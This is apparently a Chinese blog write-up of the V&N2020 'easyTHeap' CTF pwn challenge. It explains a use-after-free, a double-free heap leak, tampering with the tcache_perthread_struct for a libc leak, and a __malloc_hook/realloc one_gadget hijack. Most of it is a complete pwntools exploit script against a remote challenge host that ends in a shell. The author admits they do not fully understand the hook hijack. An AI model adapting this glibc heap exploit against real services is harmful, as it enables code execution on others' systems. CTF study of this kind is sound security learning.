[V&N2020 公开赛]easyTHeap

安全检查

 程序流程:

主要是free这里没有置为0

 漏洞分析:

  • 首先由于uaf漏洞,所以我们可以通过double free来获得堆地址,并且还可以直接通过edit来修改tache_pthread_struct这个结构体里的成员
  • 然后利用tache_pthread_struct修改所有成员的个数,再释放一个带有tache_pthread_struct的函数,再输出出来就可以获得main_arena
  • 之后接着劫持malloc_hook即可,不过这里劫持我还有点没搞懂,所以会放在再刷一遍系列里面

EXP:

from pwn import *

#p=process('./vn_pwn_easyTHeap')
p=remote('node3.buuoj.cn',29664)
libc=ELF('./libc-2.27.so')
def add(size):
    p.recvuntil('choice: ')
    p.sendline('1')
    p.recvuntil('size?')
    p.sendline(str(size))

def edit(idx,content):
    p.recvuntil('choice: ')
    p.sendline('2')
    p.recvuntil('idx?')
    p.sendline(str(idx))
    p.recvuntil('content:')
    p.sendline(content)

def show(idx):
    p.recvuntil('choice: ')
    p.sendline('3')
    p.recvuntil('idx?')
    p.sendline(str(idx))

def delete(idx):
    p.recvuntil('choice: ')
    p.sendline('4')
    p.recvuntil('idx?')
    p.sendline(str(idx))

add(0x50)#0
delete(0)
delete(0)

show(0)
thread_tache=u64(p.recv(6).ljust(8,'x00'))-0x250
#try_entry=thread_tache+0x80

add(0x50)#1
edit(1,p64(thread_tache))
add(0x50)#2
add(0x50)#3

edit(3,'a'*0x28)
delete(3)
show(3)
libc_base=u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))-0x3ebca0
print hex(libc_base)
malloc_hook=libc_base+libc.symbols['__malloc_hook']
realloc=libc_base+libc.symbols['__libc_realloc']
one=libc_base+0x4f322
add(0x50)#4
edit(4,'a'*0x48+p64(malloc_hook-0x13))


add(0x20)#5
print hex(one)
edit(5,'x00'*(0x13-0x8)+p64(one)+p64(realloc+8))
add(0x10)

#print hex(thread_tache)
#gdb.attach(p)

p.interactive()

总结:

  • 不知道为什么要这样劫持,这是最重要的一点,所以等我今天如果能看明白,就会单独看一篇博客记录下来,否则明天一定要写出阿里
  • 这道题一开始我以为是通过让其count成员溢出,然后泄露libc,但发现后面无法在前进了
原文地址:https://www.cnblogs.com/pppyyyzzz/p/14012831.html